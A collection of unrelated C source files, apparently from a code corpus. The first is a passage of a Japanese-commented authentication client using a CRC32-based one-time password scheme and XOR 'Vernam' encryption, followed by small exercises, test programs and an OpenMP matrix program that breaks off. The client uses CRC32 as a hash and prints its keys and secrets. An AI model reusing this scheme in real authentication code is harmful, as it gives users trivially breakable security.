0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433,
0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818,
0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e,
0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457,
0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c,
0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65,
0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb,
0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0,
0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9,
0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086,
0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4,
0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad,
0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a,
0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683,
0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1,
0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe,
0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7,
0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc,
0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252,
0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b,
0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60,
0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79,
0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f,
0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04,
0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d,
0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a,
0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38,
0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21,
0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e,
0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777,
0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45,
0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2,
0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db,
0xaed16a4a, 0xd9d65adc, 0x40df0b66, 0x37d83bf0,
0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6,
0xbad03605, 0xcdd70693, 0x54de5729, 0x23d967bf,
0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94,
0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d,
};
//指定されたビット数の範囲内で乱数値を出力する関数
unsigned long get_random(unsigned char *const buf, const int bufLen, const int len){
//初期エラー
if(len > bufLen){
perror("buffer size is small\n");
return -1;
}
int fd = open(DEV_RANDOM, O_RDONLY);
unsigned long result=0b0;
register int i;
if(fd == -1){
printf("can not open %s\n", DEV_RANDOM);
return -1;
}
int r = read(fd,buf,len);
if(r < 0){
perror("can not read\n");
return -1;
}
if(r != len){
perror("can not read\n");
return -1;
}
close(fd);
for(i=0; i<AUTHDATA_BYTE; i++){
result=(result<<8)+buf[i];
}
return result;
}
//crc32のハッシュ値を出力する関数
unsigned long crc32(const unsigned char *s,int len){
unsigned int crc_init = 0;
unsigned int crc =0;
crc = crc_init ^ 0xFFFFFFFF;
for(;len--;s++){
crc = ((crc >> 8)&0x00FFFFFF) ^ crc32tab[(crc ^ (*s)) & 0xFF];
}
return crc ^ 0xFFFFFFFF;
}
int main(int argc, char **argv){
//ソケット通信用
register int sock;
struct sockaddr_in server_addr;
unsigned short servPort;
char *servIP;
//通信データ用バッファサイズ
int rcvBufferSize=100;
int sendBufferSize=100;
//データ長
unsigned short length;
//各種フラグ
unsigned short authent_flag=0;
unsigned short overflow_flag=1;
FILE *fp;
//ループ用変数
register int i;
register int n;
//認証情報用
unsigned char id[34]={'\0'};
unsigned char pass[AUTHDATA_BYTE+2]={'\0'};
unsigned long pass_num,A,pre_A,A2,pre_A2,B,F,alpha,beta,gamma,Ni,Nii;
//各関数用バッファ
unsigned char hash_buf[20]={'\0'};
unsigned char rand_buf[AUTHDATA_BYTE]={'\0'};
//暗号通信用
unsigned char vernamKey[AUTHDATA_BYTE]={'\0'};
unsigned char vernamData[AUTHDATA_BYTE+1]={'\0'};
//実行時の入力エラー
if((argc<2) || (argc>3)){
fprintf(stderr,"Usage: %s <Server IP> <Server Port>\n",argv[0]);
exit(1);
}
servIP = argv[1]; //server IP設定
//ポート番号設定
if(argc==3){
servPort=atoi(argv[2]); //ポート番号設定
}
else{
servPort=7777;
}
//サーバ接続用ソケットを作成
if ((sock = socket(PF_INET, SOCK_STREAM, 0)) < 0) {
perror("client: socket\n");
exit(1);
}
//サーバアドレス用構造体の初期設定
bzero((char *)&server_addr, sizeof(server_addr));
server_addr.sin_family = PF_INET;
server_addr.sin_addr.s_addr = inet_addr(servIP);
server_addr.sin_port = htons(servPort);
//サーバと接続
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("client: connect\n");
exit(1);
}
//バッファサイズを設定
if(setsockopt(sock,SOL_SOCKET,SO_RCVBUF,&rcvBufferSize,sizeof(rcvBufferSize))<0){
perror("setsockopt() failed\n");
exit(1);
}
if(setsockopt(sock,SOL_SOCKET,SO_SNDBUF,&sendBufferSize,sizeof(sendBufferSize))<0){
perror("setsockopt() failed\n");
exit(1);
}
//フラグを受け取る
read(sock, &authent_flag, sizeof(unsigned short));
if(authent_flag==0){
//初回登録フェーズ
printf("このユーザは未登録のため、初回登録を行います\n\n");
//Niを作成
Ni=get_random(rand_buf,AUTHDATA_BYTE,AUTHDATA_BYTE);
/////////////////////////////
//
printf("Ni->%lu\n",Ni);
//
/////////////////////////////
//Niを保存
if((fp=fopen("./../client_data/Ni_file.bin","wb"))==NULL){
perror("Ni FILE OPEN ERROR\n");
close(sock);
exit(1);
}
fwrite(&Ni,sizeof(unsigned long),1,fp);
fclose(fp);
printf("ID:");
//最大32文字の入力を受け入れる
if (fgets(id, 34, stdin)==NULL || id[0]=='\0' || id[0] == '\n'){
perror("id:1-32char\n");
close(sock);
exit(1);
}
for(i=1; i<34; i++){
if(id[i]=='\n'){
overflow_flag=0;
}
}
if(overflow_flag==1){
perror("id:1-32char\n");
close(sock);
exit(1);
}
overflow_flag=1;
//改行を削除
length=strlen(id);
if(id[length-1]=='\n'){
id[--length]='\0';
}
//送信するidの長さの情報を送信する
write(sock, &length, sizeof(unsigned short));
//IDを送信する
write(sock, id, length);
printf("PASS:");
//最大4文字の入力を受け入れる
if (fgets(pass, AUTHDATA_BYTE+2, stdin)==NULL || pass[0]=='\0' || pass[0]=='\n'){
perror("PASS:1-4char\n");
close(sock);
exit(1);
}
for(i=1; i<AUTHDATA_BYTE+2; i++){
if(pass[i]=='\n'){
overflow_flag=0;
}
}
if(overflow_flag==1){
perror("pass:1-4char\n");
close(sock);
exit(1);
}
overflow_flag=1;
//改行を削除
length=strlen(pass);
if(pass[length-1]=='\n'){
pass[--length]='\0';
}
//パスワードを数値に変換
pass_num=0;
for(i=0; i<AUTHDATA_BYTE; i++){
pass_num=(pass_num<<8)+pass[i];
}
//Aを作成
pre_A=pass_num^Ni;
sprintf(hash_buf,"%lu",pre_A);
A=crc32(hash_buf,strlen(hash_buf));
//////////////////////////////
//デバッグ用
printf("Ni^S->%lu\n",pre_A);
printf("A->%lu\n",A);
//
//////////////////////////////////
//Aを送信する
write(sock, &A, sizeof(unsigned long));
close(sock);
exit(0);
}
else if(authent_flag==1){
printf("このクライアントは登録済みです\n\n");
}
else{
perror("flag error!\n");
close(sock);
exit(1);
}
//認証フェーズ
printf("PASS:");
if (fgets(pass, AUTHDATA_BYTE+2, stdin)==NULL || pass[0]=='\0' || pass[0]=='\n'){
perror("PASS:1-4char\n");
close(sock);
exit(1);
}
for(i=1; i<AUTHDATA_BYTE+2; i++){
if(pass[i]=='\n'){
overflow_flag=0;
}
}
if(overflow_flag==1){
perror("pass:1-4char\n");
close(sock);
exit(1);
}
overflow_flag=1;
//改行を削除
length=strlen(pass);
if(pass[length-1]=='\n'){
pass[--length]='\0';
}
//パスワードを数値に変換
pass_num=0;
for(i=0; i<AUTHDATA_BYTE; i++){
pass_num=(pass_num<<8)+pass[i];
}
if((fp=fopen("./../client_data/Ni_file.bin","rb"))==NULL){
perror("Ni FILE OPEN ERROR\n");
close(sock);
exit(1);
}
fread(&Ni,sizeof(unsigned long),1,fp);
fclose(fp);
//Aの作成
pre_A=pass_num^Ni;
sprintf(hash_buf,"%lu",pre_A);
A=crc32(hash_buf,strlen(hash_buf));
//////////////////////////////
//デバッグ用
printf("Ni^S->%lu\n",pre_A);
printf("A->%lu\n",A);
//
//////////////////////////////////
//Ni+1を作成
Nii=get_random(rand_buf,AUTHDATA_BYTE,AUTHDATA_BYTE);
///////////////////////////////
//
printf("Ni+1->%lu\n",Nii);
//
//////////////////////////////
//Ai+1を作成
pre_A2=pass_num^Nii;
sprintf(hash_buf,"%lu",pre_A2);
A2=crc32(hash_buf,strlen(hash_buf));
/////////////////////////////////
//
printf("Ni+1^S->%lu\n",pre_A2);
printf("Ai+1->%lu\n",A2);
//
/////////////////////////////////
//B=H(Ai+1)を作成
sprintf(hash_buf,"%lu",A2);
B=crc32(hash_buf,strlen(hash_buf));
////////////////////////////////
//
printf("B->%lu\n",B);
//
////////////////////////////////
//alphaを作成
if(B+A>DATAMAX){
alpha=A2^(B+A-DATAMAX);
}
else{
alpha=A2^(B+A);
}
///////////////////////////////
//
printf("alpha->%lu\n",alpha);
//
//////////////////////////////
//betaを作成
beta=B^A;
/////////////////////////////
//
printf("beta->%lu\n",beta);
//
////////////////////////////
//alphaを送信する
write(sock, &alpha, sizeof(unsigned long));
//betaを送信する
write(sock, &beta, sizeof(unsigned long));
//gammaを受け取る
read(sock, &gamma, sizeof(unsigned long));
////////////////////////////
//
printf("gamma->%lu\n",gamma);
//
////////////////////////////
//F=H(B)を作成する
sprintf(hash_buf,"%lu",B);
F=crc32(hash_buf,strlen(hash_buf));
////////////////////////////////
//
printf("F->%lu\n",F);
//
////////////////////////////////
if(gamma-F != 0){
perror("gamma and F are not equal\n");
perror("authentication error!\n");
close(sock);
exit(1);
}
else{
printf("gamma and F equal\n");
//次の認証情報をファイルに保存
if((fp=fopen("./../client_data/Ni_file.bin","wb"))==NULL){
perror("Ni FILE OPEN ERROR\n");
close(sock);
exit(1);
}
fwrite(&Nii,sizeof(unsigned long),1,fp);
fclose(fp);
}
//暗号通信フェーズ
puts("-----------------------");
for(i=0; i<AUTHDATA_BYTE; i++){
vernamKey[i]=(A2 & ((unsigned long)0xFF<<24-8*i))>>24-8*i;
}
///////////////////////////////////
//
printf("vernam_key:");
for(i=0; i<AUTHDATA_BYTE; i++){
printf("%02x",vernamKey[i]);
}
printf("\n");
//
//////////////////////////////////
//バーナム暗号用メッセージを読み取り表示
if((fp=fopen("./../client_data/msg.txt","r"))==NULL){
perror("Msg_file open error!\n");
close(sock);
exit(1);
}
fgets(vernamData,AUTHDATA_BYTE+1,fp);
/////////////////////////////////
//
printf("平文(上限4文字):%s\n",vernamData);
//
//////////////////////////////////
//暗号化
i=0;
length=strlen(vernamData);
while(i<length){
vernamData[i]^=vernamKey[i];
i++;
}
vernamData[i]='\0';
////////////////////////////////////
//
printf("暗号文(16進数):");
for(i=0; i<length; i++){
printf("%02x",vernamData[i]);
}
printf("\n");
//
///////////////////////////////////
//送信するmsgの長さの情報を送信する
write(sock, &length, sizeof(unsigned short));
//msgを送信する
write(sock, vernamData,length);
close(sock);
exit(0);
}
|
the_stack_data/82388.c | #include <stdio.h>
int main(int argc, char ** argv)
{
int i;
for (i = 0; i < 2; i++) {
if (!fork()) {
printf("* ppid = %d, pid = %d, i = %d * ", getppid(), getpid(), i);
} else {
printf("# ppid = %d, pid = %d, i = %d # ", getppid(), getpid(), i);
sleep(5);
}
}
return 0;
}
|
the_stack_data/232955995.c | #include <stdio.h>
int main(){
int n,x,y,i;
do{
scanf("%d%d", &x, &y);
if(x == y){
break;
}else if(x<y){
printf("Crescente\n");
}else if(x>y){
printf("Decrescente\n");
}
}while(x != y);
return 0;
}
|
the_stack_data/50137668.c | #include <stdio.h>
int main()
{
double num1, num2, num3;
printf("Enter three different numbers: \n");
scanf("%lf %lf %lf", &num1, &num2, &num3);
if (num1 <= num2 && num1 <= num3) {
printf("%.2f is the smallest number\n", num1);
}
if (num2 <= num1 && num2 <= num3) {
printf("%.2f is the smallest number\n", num2);
}
if (num3 <= num1 && num3 <= num2) {
printf("%.2f is the smallest number\n", num3);
}
return 0;
} |
the_stack_data/152575.c | #include <stdio.h>
void maxFunction( int *p, int n, int *max){
int i;
*max=*p;
for(i=1; i<n; i++){
if ( *max< *(p+i) ){
*max=*(p+i);
}
}
}
int main(){
int n, *p,i,max;
scanf("%d",&n);
p= (int *)malloc(sizeof(int)*n);
for(i=0;i<n;i++){
scanf("%d",(p+i));
}
maxFunction(p,n,&max);
printf("Maximum = %d\n", max);
return 0;
}
|
the_stack_data/193893540.c | #include <stdio.h>
#include <string.h>
#define MAX 50
#define MAX_ASS 5
#define MAX_STRUCT 200
typedef struct data {
int dia, mes, ano;
} DATA;
typedef struct horario {
int hora, min;
} HORARIO;
typedef struct passagem {
int cod_empresa;
char nome_passageiro[MAX];
char origem[MAX];
char destino[MAX];
char assento[MAX_ASS];
double valor;
DATA data;
HORARIO horario;
} PASSAGEM;
void remove_newline(char* s) {
s[strlen(s) - 1] = '\0';
}
void ler_bilhete(PASSAGEM* passagem) {
printf("Codigo da empresa:\n");
scanf("%d", &(passagem->cod_empresa));
printf("Data: (dia mes ano)\n");
scanf("%d %d %d", &(passagem->data.dia), &(passagem->data.mes), &(passagem->data.ano));
printf("Horario: (hora minutos)\n");
scanf("%d %d*c", &(passagem->horario.hora), &(passagem->horario.min));
printf("Valor:\n");
scanf("%lf*c", &(passagem->valor));
printf("Nome do passageiro:\n");
getchar();
fflush(stdin);
fgets(passagem->nome_passageiro, MAX, stdin);
remove_newline(passagem->nome_passageiro);
fflush(stdin);
printf("Origem:\n");
fflush(stdin);
fgets(passagem->origem, MAX, stdin);
remove_newline(passagem->origem);
fflush(stdin);
printf("Destino:\n");
fflush(stdin);
fgets(passagem->destino, MAX, stdin);
remove_newline(passagem->destino);
fflush(stdin);
printf("Assento: (numero letra)\n");
fflush(stdin);
fgets(passagem->assento, MAX_ASS, stdin);
remove_newline(passagem->assento);
}
void mostrar_bilhete(PASSAGEM passagem) {
printf("*******************************************\n");
printf("\n");
printf("Codigo da empresa: %d\n", passagem.cod_empresa);
printf("Data: %d/%d/%d\n", passagem.data.dia, passagem.data.mes, passagem.data.ano);
printf("Horario: %d:%d hrs\n", passagem.horario.hora, passagem.horario.min);
printf("Nome do passageiro: %s\n", passagem.nome_passageiro);
printf("Origem: %s\n", passagem.origem);
printf("Destino: %s\n", passagem.destino);
printf("Assento: %s\n", passagem.assento);
printf("Valor: R$ %.2f\n", passagem.valor);
printf("\n");
}
void passagens_ao_mes(PASSAGEM* passagens, int qtd_passagens, int mes) {
int i, contador = 0;
printf("Vendas do mes: %d\n", mes);
for(i = 0; i < qtd_passagens; i++) {
if(passagens[i].data.mes == mes) {
contador++;
}
}
printf("Total: %d\n", contador);
}
int main() {
PASSAGEM passagens[MAX_STRUCT];
int i, n;
do {
printf("Qual o numero de passagens a ser processado?\n");
scanf("%d", &n);
if(n < 0 || n > 200) {
printf("valor invalido.");
}
} while (n < 0 || n > 200);
for(i=0; i<n; i++) {
ler_bilhete(&passagens[i]);
printf("\n");
}
for(i=0; i<n; i++) {
mostrar_bilhete(passagens[i]);
}
printf("*******************************************\n");
passagens_ao_mes(passagens, n, 12);
return 0;
} |
the_stack_data/29825496.c | /*
* Copyright © 2016 Bart Massey
* [This program is licensed under the "MIT License"] Please
* see the file COPYING in the source distribution of this
* software for license terms.
*/
/* Demonstrate calling statically-linked Rust from C and vice-versa. */
#include <stdio.h>
#include <stdint.h>
/* Rust externals. */
extern int32_t rust_add_squared(int32_t, int32_t);
int32_t c_mul(int32_t x, int32_t y) {
return x * y;
}
int main(void) {
printf("%d\n", rust_add_squared(2, 3));
return 0;
}
|
the_stack_data/54824614.c | /* PR debug/49522 */
/* { dg-do compile } */
/* { dg-options "-fcompare-debug" } */
int val1 = 0L;
volatile int val2 = 7L;
long long val3;
int *ptr = &val1;
int foo (void);
static int
func1 ()
{
return 0;
}
static short int
func2 (short int a, unsigned int b)
{
return !b ? a : a >> b;
}
static unsigned long long
func3 (unsigned long long a, unsigned long long b)
{
return !b ? a : a % b;
}
void
func4 (unsigned short arg1, int arg2)
{
for (arg2 = 0; arg2 < 2; arg2++)
{
*ptr = func3 (func3 (10, func2 (val3, val2)), val3);
for (arg1 = -14; arg1 > 14; arg1 = func1 ())
{
*ptr = -1;
if (foo ())
;
}
}
}
|
the_stack_data/57951364.c | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <time.h>
int testreadlink(const char *link)
{
char buf[500];
readlink(link, buf, 500);
}
int testvprintf(const char *format, ...)
{
va_list argp;
va_start(argp, format);
vprintf(format, argp);
va_end(argp);
}
int testprintf(const char *str, int i, float f, char *s)
{
printf(str, i, f, s);
}
int main(int argc, char *argv[])
{
char message[1024];
clock_t begin;
clock_t end;
double time_spent;
int itercount=1, i;
printf("testprog running......\n");
if (argc != 2 && argc != 3) {
puts("Command: takes one argument. Which system call to run");
puts("Options: readlink, vprintf, printf, open, fopen, creat");
exit(-1);
}
if (argc == 3) {
itercount = atoi(argv[2]);
}
begin = clock();
for(i=0; i < itercount; i++) {
if (strcmp(argv[1], "readlink") == 0) {
testreadlink("/tmp/wisk_testlink");
} else if (strcmp(argv[1], "open64-cw-special") == 0) {
int fd, relfd;
fd = open64("/tmp/open64.file", O_CREAT|O_WRONLY|O_APPEND|O_LARGEFILE, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP);
printf("Flags: %d: %d\n", fd, fcntl(fd, F_GETFD));
relfd = dup3(fd, 801, O_CREAT|O_WRONLY|O_APPEND|O_LARGEFILE);
printf("Flags: %d: %d\n", relfd, fcntl(relfd, F_GETFD));
} else if (strcmp(argv[1], "vprintf") == 0) {
testvprintf("Hello World! from vprintf: %d %f %s \n", 100, 1.23456, "something");
} else if (strcmp(argv[1], "printf") == 0) {
testprintf("Hello World! from printf: %d %f %s \n", 100, 1.23456, "something");
} else if (strcmp(argv[1], "close-800") == 0) {
close(800);
} else if (strcmp(argv[1], "creat-cw") == 0) {
close(open("/tmp/created.file", O_CREAT|O_WRONLY, 0));
} else if (strcmp(argv[1], "creat-r") == 0) {
close(open("/tmp/created.file", O_RDONLY, 0));
} else if (strcmp(argv[1], "open-cw") == 0) {
close(open("/tmp/open.file", O_CREAT|O_WRONLY, 0));
} else if (strcmp(argv[1], "open-r") == 0) {
close(open("/tmp/open.file", O_RDONLY, 0));
} else if (strcmp(argv[1], "open64-cw") == 0) {
close(open64("/tmp/open64.file", O_CREAT|O_WRONLY, 0));
} else if (strcmp(argv[1], "open64-r") == 0) {
close(open64("/tmp/open64.file", O_RDONLY, 0));
} else if (strcmp(argv[1], "openat-cw") == 0) {
close(openat(AT_FDCWD, "/tmp/opennat.file", O_CREAT|O_WRONLY, 0));
} else if (strcmp(argv[1], "openat-r") == 0) {
close(openat(AT_FDCWD, "/tmp/openat.file", O_RDONLY, 0));
} else if (strcmp(argv[1], "fopen-cw") == 0) {
fclose(fopen("/tmp/fopen.file", "w"));
} else if (strcmp(argv[1], "fopen-r") == 0) {
fclose(fopen("/tmp/fopen.file", "r"));
} else if (strcmp(argv[1], "fopen64-cw") == 0) {
fclose(fopen64("/tmp/fopen64.file", "w"));
} else if (strcmp(argv[1], "fopen64-r") == 0) {
fclose(fopen64("/tmp/fopen64.file", "r"));
} else if (strcmp(argv[1], "execv") == 0) {
char *eargv[] = {"ls", "-l", "/usr/bin/ls", NULL};
execv("/bin/ls", eargv);
} else if (strcmp(argv[1], "execvp") == 0) {
char *eargv[] = {"ls", "-l", "/usr/bin/ls", NULL};
execvp("ls", eargv);
} else if (strcmp(argv[1], "execvp_pwd") == 0) {
char *eargv[] = {"/bin/pwd", NULL};
execvp("/bin/pwd", eargv);
} else if (strcmp(argv[1], "execvpe") == 0) {
char *eargv[] = {"ls", "-l", "/usr/bin/ls", NULL};
char *env[] = {"PATH=/nothing:", NULL};
execvpe("ls", eargv, env);
} else if (strcmp(argv[1], "execve") == 0) {
char *eargv[] = {"ls", "-l", "/usr/bin/ls", NULL};
char *env[] = {"PATH=/usr/bin:", NULL};
execve("/bin/ls", eargv, env);
} else if (strcmp(argv[1], "execl") == 0) {
execl("/bin/ls", "ls", "-l", "/usr/bin/ls", NULL);
} else if (strcmp(argv[1], "execlp") == 0) {
execlp("ls", "ls", "-l", "/usr/bin/ls", NULL);
} else if (strcmp(argv[1], "execlpscript") == 0) {
execlp("wit", "wit", "--verson", NULL);
} else if (strcmp(argv[1], "execle") == 0) {
char *env[] = {"PATH=/nothing:", NULL};
execle("/bin/ls", "ls", "-l", "/usr/bin/ls", NULL, env);
} else if (strcmp(argv[1], "segfault") == 0) {
int *intptr=NULL;
*(intptr) = 0xffff;
} else {
puts("Command: takes one argument. Which system call to run");
puts("Options: readlink, vprintf, printf, open, fopen, creat");
exit(-1);
}
}
end = clock();
time_spent = (double)(end - begin) / CLOCKS_PER_SEC;
sprintf(message, "Program runtime: %3.2f seconds", time_spent);
puts(message);
return 0;
}
|
the_stack_data/82949323.c | #include <stdio.h>
#include <stdlib.h>
/* test15.c (opcode change 2xx3) */
/* 2015-09-24 O. NISHII */
/* origin's */
/* test06.c (smp test 06) */
/* 2015-05-25 O. NISHII */
/* test10.c (lock var location shared ram) */
/* 2015-08-18 O. NISHII */
/* fixed address */
#define CPU1_INSTR_HEAD 0x14001000
#define CPU1_SP_INIT 0x14004ffc
#define SHAREMEM_DDR_HEAD 0x14010000
#define ADRS_LOCK_VAR 0x80fc
#define RTC_SEC 0xabcd0224
#define RTC_NS 0xabcd0228
extern int get_lock_cpu0 ( );
/* created as assembler program with TAS.B inst. */
char instbuf[160];
/* 0 1 2 3 4 5 6 7 8 9 */
int global_mem[20] = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
int main( )
{
int release_lock_cpu0( );
int i, j, limit, poll_count = 0;
unsigned int instr0, instr1;
void *ptr_void;
volatile int *ptr_array_a32, *ptr_inst, *ptr_data;
volatile int *ptr_lock;
long time_pr_1, time_pr_2;
int time_r_sec1, time_r_sec2;
int time_r_ns1, time_r_ns2;
volatile int *ptr_sec, *ptr_ns;
FILE *fp1;
ptr_void = malloc(1024 * 1024 * 10);
ptr_sec = (int *)RTC_SEC;
ptr_ns = (int *)RTC_NS;
printf("smp test test15 (CAS spinlock, lock var in shared-ram)\n");
printf(" (opcode 2xx3)\n");
printf("%x 10MB area kept\n", (unsigned int) ptr_void);
printf("global_mem head is %x\n", (unsigned int)(&global_mem[0]));
ptr_array_a32 = (int *)SHAREMEM_DDR_HEAD ;
if(
(ptr_array_a32 < (int*)(ptr_void) ) ||
(ptr_array_a32 > ((int*)(ptr_void) + (1024 * 1024 * 10) - 16))) {
printf("fixed address variable out of range of allocated mem.\n");
return(1);
}
printf("input spin lock cpu0, cpu1 count\n");
scanf("%d", &limit);
/* step 1: set CPU1 instructions to DDR */
ptr_inst = (int *)CPU1_INSTR_HEAD;
fp1 = fopen ("te15c1.xxd", "r");
for(i = 0; i < 102 ; i++) {
fgets(instbuf, 160, fp1);
if(i >= 16) {
for(j = 0; j < 4; j++) {
sscanf(&instbuf[10 * j + 9], "%x", &instr0);
sscanf(&instbuf[10 * j + 14], "%x", &instr1);
*(ptr_inst) = (int)((instr0 << 16) | instr1);
ptr_inst++;
}
}
}
fclose(fp1);
printf("end set CPU1 instructions\n");
/* step 2: clear array[0] - array[5] */
for (i = 0; i < 6; i ++) {
*(ptr_array_a32 + i) = 0;
}
ptr_lock = (int *)ADRS_LOCK_VAR;
*ptr_lock = 0;
*(ptr_array_a32 + 4) = (int)(& global_mem[0]);
*(ptr_array_a32 + 6) = limit;
release_lock_cpu0( );
/* step 3: setup CPU1 boot */
ptr_data = (int *)0x8000;
*ptr_data = CPU1_INSTR_HEAD;
ptr_data = (int *)0x8004;
*ptr_data = CPU1_SP_INIT;
for(i = 0; i < 10; i++) {
}
time_pr_1 = clock( );
time_r_sec1 = *ptr_sec;
time_r_ns1 = *ptr_ns;
printf("end setup CPU1 boot\n");
ptr_data = (int *)0xabcd0640;
*ptr_data = 1;
/* step 4: increment array[0] & array[1] with spin-lock */
for(i = 0; i < limit; i++) {
get_lock_cpu0( );
(*(ptr_array_a32 + 0)) ++;
(*(ptr_array_a32 + 1)) ++;
release_lock_cpu0( );
/* make inner loop execution time not constant, that increases logic */
/* state coverage more (as expectation) */
if((i % 3) == 0) {
global_mem[3] ++;
if((i % 5) == 0) {
global_mem[5] ++;
if((i % 7) == 0) {
global_mem[7] ++;
}
}
}
} /* end of (for i = ... */
/* step 5 wait for cpu1 execuion completion */
while(*(ptr_array_a32 + 5) == 0) {
poll_count ++;
}
time_pr_2 = clock( );
time_r_sec2 = *ptr_sec;
time_r_ns2 = *ptr_ns;
/* step 6 display result */
printf("results\n");
printf(" here, cpu#0 increments array[0] & array[1] with lock\n");
printf(" cpu#1 increments array[1] & array[2] with lock\n");
for(i = 0; i < 3; i++) {
printf("array[%d] = %d\n", i, *(ptr_array_a32 + i));
}
printf("global_mem[ 3] = %d\n", global_mem[ 3]);
printf("global_mem[ 5] = %d\n", global_mem[ 5]);
printf("global_mem[ 6] = %d\n", global_mem[ 6]);
printf("global_mem[ 7] = %d\n", global_mem[ 7]);
printf("global_mem[10] = %d\n", global_mem[10]);
printf("global_mem[14] = %d\n", global_mem[14]);
printf("cpu0 poll count (for completion) = %d\n", poll_count);
printf("time = (process) %.2f sec, (real-time) %.2f sec\n",
((float) (time_pr_2 - time_pr_1) / 1.0e6),
(time_r_sec2 - time_r_sec1) +
(time_r_ns2 - time_r_ns1) / 1.0e9);
free(ptr_void);
return(0);
}
int release_lock_cpu0 ( )
{
volatile int *ptr_lock_var;
ptr_lock_var = (int *)ADRS_LOCK_VAR;
*ptr_lock_var = 0x33;
return(0);
}
|
the_stack_data/150826.c | // Lighthouses
void Lighthouses() {
// Lighthouse in the NW coast of the Skalisty Island
SpawnObject("Land_Lighthouse", "13057.658203 27.043219 3247.424805", "0.000000 0.000000 0.000000");
}
|
the_stack_data/18886950.c | /*
* pmv-OpenMp-b.c
*
* Created on: 12/04/2014
* Author: Carlos de la Torre
*/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <omp.h> // biblioteca para programas paralelos
#define PRINT_ALL_MIN 15
// Ponemos que los elementos mínimos para que se
// impriman todos los valores de la matriz sea 15
int main(int argc, char* argv[]) {
int i,j,N,TIME,tmp=0;
double tr;
// estas son las variables que sirven para medir el tiempo
double t1, t2;
switch (argc){ // coneste switch nos aseguramos de que la entrada de parametros sea correcta
case 1:
printf("Faltan las filas/columnas de la Matriz, y el tamaño del vector\n");
printf("\nUso: %s [numero] [0/1]\n",argv[0]);
printf("\nDonde numero es el tamaño de las filas y las columnas de la matriz y el tamaño del vector\n");
printf("y el 0 o el 1 especifica si queremos solo los tiempos (1) o no\n");
exit(-1);
break;
case 2:
N = atoi(argv[1]); // Este sera el tamaño del vector y de las filas/columnas de la matriz
TIME = 0;
break;
case 3:
N = atoi(argv[1]); // Este sera el tamaño del vector y de las filas/columnas de la matriz
TIME = atoi(argv[2]); // si tiene un valor de 0 se imprime toda la info si tiene un valor de 1 se imprime solo el tiempo
break;
default:
printf("La cantidad de parametros es incorrecta\n");
exit(-1);
break;
}
int *vector, *Vresultado;
int **Matriz;
Matriz = (int**) malloc(N * sizeof(int*));
for (i = 0; i < N; i++)
Matriz[i] = (int*) malloc(N * sizeof(int));
vector = (int*) malloc(N * sizeof(int)); //si no hay espacio suficiente malloc devuelve NULL
Vresultado = (int*) malloc(N * sizeof(int));
if ((Matriz == NULL) || (vector == NULL) || (Vresultado == NULL)) {
printf("Error en la reserva de espacio para los Vectores o Matriz\n");
exit(-2);
}
srand(time(NULL)); // esta es la semilla que se usa para los random
#pragma omp parallel for private(i,j)// Inicializamos la Matriz y el vector
for (i = 0; i < N; i++){
for (j = 0; j < N; j++){
Matriz[i][j] = 2;
}
vector[i] = 4;
Vresultado[i]=0;
}
